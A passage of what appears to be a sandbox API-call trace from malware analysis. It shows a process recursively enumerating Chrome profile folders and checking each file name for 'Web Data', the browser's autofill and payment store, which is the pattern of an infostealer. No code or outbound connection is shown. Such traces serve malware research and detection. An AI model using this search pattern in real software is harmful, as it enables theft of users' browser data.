returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\data_reduction_proxy_leveldb\\*.*" [0054.317] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\data_reduction_proxy_leveldb\\*.*", lpFindFileData=0xef790 | out: lpFindFileData=0xef790) returned 0x72ddd0 [0054.318] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0054.318] FindNextFileA (in: hFindFile=0x72ddd0, lpFindFileData=0xef790 | out: lpFindFileData=0xef790) returned 1 [0054.318] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0054.318] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0054.318] FindNextFileA (in: hFindFile=0x72ddd0, lpFindFileData=0xef790 | out: lpFindFileData=0xef790) returned 1 [0054.318] StrStrIA (lpFirst="000003.log", lpSrch="Web Data") returned 0x0 [0054.318] FindNextFileA (in: hFindFile=0x72ddd0, lpFindFileData=0xef790 | out: lpFindFileData=0xef790) returned 1 [0054.318] StrStrIA (lpFirst="CURRENT", lpSrch="Web Data") returned 0x0 [0054.318] FindNextFileA (in: hFindFile=0x72ddd0, lpFindFileData=0xef790 | out: lpFindFileData=0xef790) returned 1 [0054.319] StrStrIA (lpFirst="LOCK", lpSrch="Web Data") returned 0x0 [0054.319] FindNextFileA (in: hFindFile=0x72ddd0, lpFindFileData=0xef790 | out: lpFindFileData=0xef790) returned 1 [0054.319] StrStrIA (lpFirst="LOG", lpSrch="Web Data") returned 0x0 [0054.319] FindNextFileA (in: hFindFile=0x72ddd0, lpFindFileData=0xef790 | out: lpFindFileData=0xef790) returned 1 [0054.319] StrStrIA (lpFirst="MANIFEST-000002", lpSrch="Web Data") returned 0x0 [0054.319] FindNextFileA (in: hFindFile=0x72ddd0, lpFindFileData=0xef790 | out: lpFindFileData=0xef790) returned 0 [0054.319] FindClose (in: hFindFile=0x72ddd0 | out: hFindFile=0x72ddd0) returned 1 [0054.319] LocalFree (hMem=0x74dd58) returned 0x0 [0054.319] LocalFree (hMem=0x74dc68) returned 0x0 [0054.319] FindNextFileA (in: hFindFile=0x72dd90, lpFindFileData=0xef8fc | out: lpFindFileData=0xef8fc) returned 1 [0054.319] lstrcmpiA (lpString1=".", lpString2="Extension Rules") returned -1 [0054.319] lstrcmpiA (lpString1="..", lpString2="Extension Rules") returned -1 [0054.319] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default") returned 69 [0054.319] lstrlenA (lpString="\\") returned 1 [0054.319] LocalAlloc (uFlags=0x40, uBytes=0xc7) returned 0x7687d8 [0054.319] lstrcpyA (in: lpString1=0x7687d8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default" [0054.319] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\" [0054.319] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\") returned 70 [0054.319] lstrlenA (lpString="Extension Rules") returned 15 [0054.319] LocalAlloc (uFlags=0x40, uBytes=0xd6) returned 0x76a2e8 [0054.319] lstrcpyA (in: lpString1=0x76a2e8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\" [0054.319] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\", lpString2="Extension Rules" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension Rules") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension Rules" [0054.319] LocalFree (hMem=0x7687d8) returned 0x0 [0054.319] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension Rules") returned 85 [0054.319] lstrlenA (lpString="\\*.*") returned 4 [0054.319] LocalAlloc (uFlags=0x40, uBytes=0xda) returned 0x76c840 [0054.319] lstrcpyA (in: lpString1=0x76c840, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension Rules" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension Rules") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension Rules" [0054.319] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension Rules", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension Rules\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension Rules\\*.*" [0054.319] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension Rules\\*.*", lpFindFileData=0xef790 | out: lpFindFileData=0xef790) returned 0x72ddd0 [0054.330] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0054.330] FindNextFileA (in: hFindFile=0x72ddd0, lpFindFileData=0xef790 | out: lpFindFileData=0xef790) returned 1 [0054.330] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0054.330] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0054.330] FindNextFileA (in: hFindFile=0x72ddd0, lpFindFileData=0xef790 | out: lpFindFileData=0xef790) returned 1 [0054.330] StrStrIA (lpFirst="000003.log", lpSrch="Web Data") returned 0x0 [0054.330] FindNextFileA (in: hFindFile=0x72ddd0, lpFindFileData=0xef790 | out: lpFindFileData=0xef790) returned 1 [0054.330] StrStrIA (lpFirst="CURRENT", lpSrch="Web Data") returned 0x0 [0054.330] FindNextFileA (in: hFindFile=0x72ddd0, lpFindFileData=0xef790 | out: lpFindFileData=0xef790) returned 1 [0054.330] StrStrIA (lpFirst="LOCK", lpSrch="Web Data") returned 0x0 [0054.330] FindNextFileA (in: hFindFile=0x72ddd0, lpFindFileData=0xef790 | out: lpFindFileData=0xef790) returned 1 [0054.331] StrStrIA (lpFirst="LOG", lpSrch="Web Data") returned 0x0 [0054.331] FindNextFileA (in: hFindFile=0x72ddd0, lpFindFileData=0xef790 | out: lpFindFileData=0xef790) returned 1 [0054.331] StrStrIA (lpFirst="MANIFEST-000001", lpSrch="Web Data") returned 0x0 [0054.331] FindNextFileA (in: hFindFile=0x72ddd0, lpFindFileData=0xef790 | out: lpFindFileData=0xef790) returned 0 [0054.331] FindClose (in: hFindFile=0x72ddd0 | out: hFindFile=0x72ddd0) returned 1 [0054.331] LocalFree (hMem=0x76c840) returned 0x0 [0054.331] LocalFree (hMem=0x76a2e8) returned 0x0 [0054.331] FindNextFileA (in: hFindFile=0x72dd90, lpFindFileData=0xef8fc | out: lpFindFileData=0xef8fc) returned 1 [0054.331] lstrcmpiA (lpString1=".", lpString2="Extension State") returned -1 [0054.331] lstrcmpiA (lpString1="..", lpString2="Extension State") returned -1 [0054.331] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default") returned 69 [0054.331] lstrlenA (lpString="\\") returned 1 [0054.331] LocalAlloc (uFlags=0x40, uBytes=0xc7) returned 0x7687d8 [0054.331] lstrcpyA (in: lpString1=0x7687d8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default" [0054.331] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\" [0054.331] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\") returned 70 [0054.331] lstrlenA (lpString="Extension State") returned 15 [0054.331] LocalAlloc (uFlags=0x40, uBytes=0xd6) returned 0x76a2e8 [0054.331] lstrcpyA (in: lpString1=0x76a2e8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\" [0054.331] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\", lpString2="Extension State" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension State") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension State" [0054.331] LocalFree (hMem=0x7687d8) returned 0x0 [0054.331] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension State") returned 85 [0054.331] lstrlenA (lpString="\\*.*") returned 4 [0054.331] LocalAlloc (uFlags=0x40, uBytes=0xda) returned 0x76c840 [0054.331] lstrcpyA (in: lpString1=0x76c840, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension State" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension State") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension State" [0054.331] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension State", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension State\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension State\\*.*" [0054.331] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension State\\*.*", lpFindFileData=0xef790 | out: lpFindFileData=0xef790) returned 0x72ddd0 [0054.333] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0054.333] FindNextFileA (in: hFindFile=0x72ddd0, lpFindFileData=0xef790 | out: lpFindFileData=0xef790) returned 1 [0054.333] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0054.333] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0054.333] FindNextFileA (in: hFindFile=0x72ddd0, lpFindFileData=0xef790 | out: lpFindFileData=0xef790) returned 1 [0054.333] StrStrIA (lpFirst="000003.log", lpSrch="Web Data") returned 0x0 [0054.333] FindNextFileA (in: hFindFile=0x72ddd0, lpFindFileData=0xef790 | out: lpFindFileData=0xef790) returned 1 [0054.333] StrStrIA (lpFirst="CURRENT", lpSrch="Web Data") returned 0x0 [0054.333] FindNextFileA (in: hFindFile=0x72ddd0, lpFindFileData=0xef790 | out: lpFindFileData=0xef790) returned 1 [0054.333] StrStrIA (lpFirst="LOCK", lpSrch="Web Data") returned 0x0 [0054.333] FindNextFileA (in: hFindFile=0x72ddd0, lpFindFileData=0xef790 | out: lpFindFileData=0xef790) returned 1 [0054.333] StrStrIA (lpFirst="LOG", lpSrch="Web Data") returned 0x0 [0054.333] FindNextFileA (in: hFindFile=0x72ddd0, lpFindFileData=0xef790 | out: lpFindFileData=0xef790) returned 1 [0054.333] StrStrIA (lpFirst="MANIFEST-000001", lpSrch="Web Data") returned 0x0 [0054.333] FindNextFileA (in: hFindFile=0x72ddd0, lpFindFileData=0xef790 | out: lpFindFileData=0xef790) returned 0 [0054.333] FindClose (in: hFindFile=0x72ddd0 | out: hFindFile=0x72ddd0) returned 1 [0054.334] LocalFree (hMem=0x76c840) returned 0x0 [0054.334] LocalFree (hMem=0x76a2e8) returned 0x0 [0054.334] FindNextFileA (in: hFindFile=0x72dd90, lpFindFileData=0xef8fc | out: lpFindFileData=0xef8fc) returned 1 [0054.334] lstrcmpiA (lpString1=".", lpString2="Extensions") returned -1 [0054.334] lstrcmpiA (lpString1="..", lpString2="Extensions") returned -1 [0054.334] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default") returned 69 [0054.334] lstrlenA (lpString="\\") returned 1 [0054.334] LocalAlloc (uFlags=0x40, uBytes=0xc7) returned 0x7687d8 [0054.334] lstrcpyA (in: lpString1=0x7687d8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default" [0054.334] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\" [0054.334] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\") returned 70 [0054.334] lstrlenA (lpString="Extensions") returned 10 [0054.334] LocalAlloc (uFlags=0x40, uBytes=0xd1) returned 0x76a2e8 [0054.334] lstrcpyA (in: lpString1=0x76a2e8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\" [0054.334] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\", lpString2="Extensions" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions" [0054.334] LocalFree (hMem=0x7687d8) returned 0x0 [0054.334] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions") returned 80 [0054.334] lstrlenA (lpString="\\*.*") returned 4 [0054.334] LocalAlloc (uFlags=0x40, uBytes=0xd5) returned 0x74ffa8 [0054.334] lstrcpyA (in: lpString1=0x74ffa8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions" [0054.334] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\*.*" [0054.334] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\*.*", lpFindFileData=0xef790 | out: lpFindFileData=0xef790) returned 0x72ddd0 [0054.341] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0054.341] FindNextFileA (in: hFindFile=0x72ddd0, lpFindFileData=0xef790 | out: lpFindFileData=0xef790) returned 1 [0054.341] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0054.341] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0054.341] FindNextFileA (in: hFindFile=0x72ddd0, lpFindFileData=0xef790 | out: lpFindFileData=0xef790) returned 1 [0054.341] lstrcmpiA (lpString1=".", lpString2="aapocclcgogkmnckokdopfmhonfmgoek") returned -1 [0054.341] lstrcmpiA (lpString1="..", lpString2="aapocclcgogkmnckokdopfmhonfmgoek") returned -1 [0054.341] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions") returned 80 [0054.341] lstrlenA (lpString="\\") returned 1 [0054.341] LocalAlloc (uFlags=0x40, uBytes=0xd2) returned 0x76c840 [0054.341] lstrcpyA (in: lpString1=0x76c840, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions" [0054.341] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\" [0054.341] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\") returned 81 [0054.341] lstrlenA (lpString="aapocclcgogkmnckokdopfmhonfmgoek") returned 32 [0054.341] LocalAlloc (uFlags=0x40, uBytes=0xf2) returned 0x761ea0 [0054.341] lstrcpyA (in: lpString1=0x761ea0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\" [0054.341] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\", lpString2="aapocclcgogkmnckokdopfmhonfmgoek" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek" [0054.341] LocalFree (hMem=0x76c840) returned 0x0 [0054.341] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek") returned 113 [0054.341] lstrlenA (lpString="\\*.*") returned 4 [0054.341] LocalAlloc (uFlags=0x40, uBytes=0xf6) returned 0x76c840 [0054.341] lstrcpyA (in: lpString1=0x76c840, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek" [0054.341] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\*.*" [0054.341] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\*.*", lpFindFileData=0xef624 | out: lpFindFileData=0xef624) returned 0x72db50 [0054.354] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0054.354] FindNextFileA (in: hFindFile=0x72db50, lpFindFileData=0xef624 | out: lpFindFileData=0xef624) returned 1 [0054.354] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0054.354] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0054.354] FindNextFileA (in: hFindFile=0x72db50, lpFindFileData=0xef624 | out: lpFindFileData=0xef624) returned 1 [0054.354] lstrcmpiA (lpString1=".", lpString2="0.9_0") returned -1 [0054.354] lstrcmpiA (lpString1="..", lpString2="0.9_0") returned -1 [0054.354] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek") returned 113 [0054.354] lstrlenA (lpString="\\") returned 1 [0054.354] LocalAlloc (uFlags=0x40, uBytes=0xf3) returned 0x76a4b0 [0054.354] lstrcpyA (in: lpString1=0x76a4b0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek" [0054.354] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\" [0054.354] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\") returned 114 [0054.354] lstrlenA (lpString="0.9_0") returned 5 [0054.354] LocalAlloc (uFlags=0x40, uBytes=0xf8) returned 0x76a5b0 [0054.354] lstrcpyA (in: lpString1=0x76a5b0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\" [0054.354] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\", lpString2="0.9_0" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0" [0054.354] LocalFree (hMem=0x76a4b0) returned 0x0 [0054.354] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0") returned 119 [0054.354] lstrlenA (lpString="\\*.*") returned 4 [0054.354] LocalAlloc (uFlags=0x40, uBytes=0xfc) returned 0x75c598 [0054.354] lstrcpyA (in: lpString1=0x75c598, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0" [0054.354] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\*.*" [0054.354] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\*.*", lpFindFileData=0xef4b8 | out: lpFindFileData=0xef4b8) returned 0x72db90 [0054.356] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0054.356] FindNextFileA (in: hFindFile=0x72db90, lpFindFileData=0xef4b8 | out: lpFindFileData=0xef4b8) returned 1 [0054.356] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0054.356] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0054.356] FindNextFileA (in: hFindFile=0x72db90, lpFindFileData=0xef4b8 | out: lpFindFileData=0xef4b8) returned 1 [0054.356] StrStrIA (lpFirst="icon_128.png", lpSrch="Web Data") returned 0x0 [0054.356] FindNextFileA (in: hFindFile=0x72db90, lpFindFileData=0xef4b8 | out: lpFindFileData=0xef4b8) returned 1 [0054.356] StrStrIA (lpFirst="icon_16.png", lpSrch="Web Data") returned 0x0 [0054.356] FindNextFileA (in: hFindFile=0x72db90, lpFindFileData=0xef4b8 | out: lpFindFileData=0xef4b8) returned 1 [0054.356] StrStrIA (lpFirst="main.html", lpSrch="Web Data") returned 0x0 [0054.356] FindNextFileA (in: hFindFile=0x72db90, lpFindFileData=0xef4b8 | out: lpFindFileData=0xef4b8) returned 1 [0054.356] StrStrIA (lpFirst="main.js", lpSrch="Web Data") returned 0x0 [0054.356] FindNextFileA (in: hFindFile=0x72db90, lpFindFileData=0xef4b8 | out: lpFindFileData=0xef4b8) returned 1 [0054.356] StrStrIA (lpFirst="manifest.json", lpSrch="Web Data") returned 0x0 [0054.356] FindNextFileA (in: hFindFile=0x72db90, lpFindFileData=0xef4b8 | out: lpFindFileData=0xef4b8) returned 1 [0054.356] lstrcmpiA (lpString1=".", lpString2="_locales") returned -1 [0054.356] lstrcmpiA (lpString1="..", lpString2="_locales") returned -1 [0054.356] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0") returned 119 [0054.356] 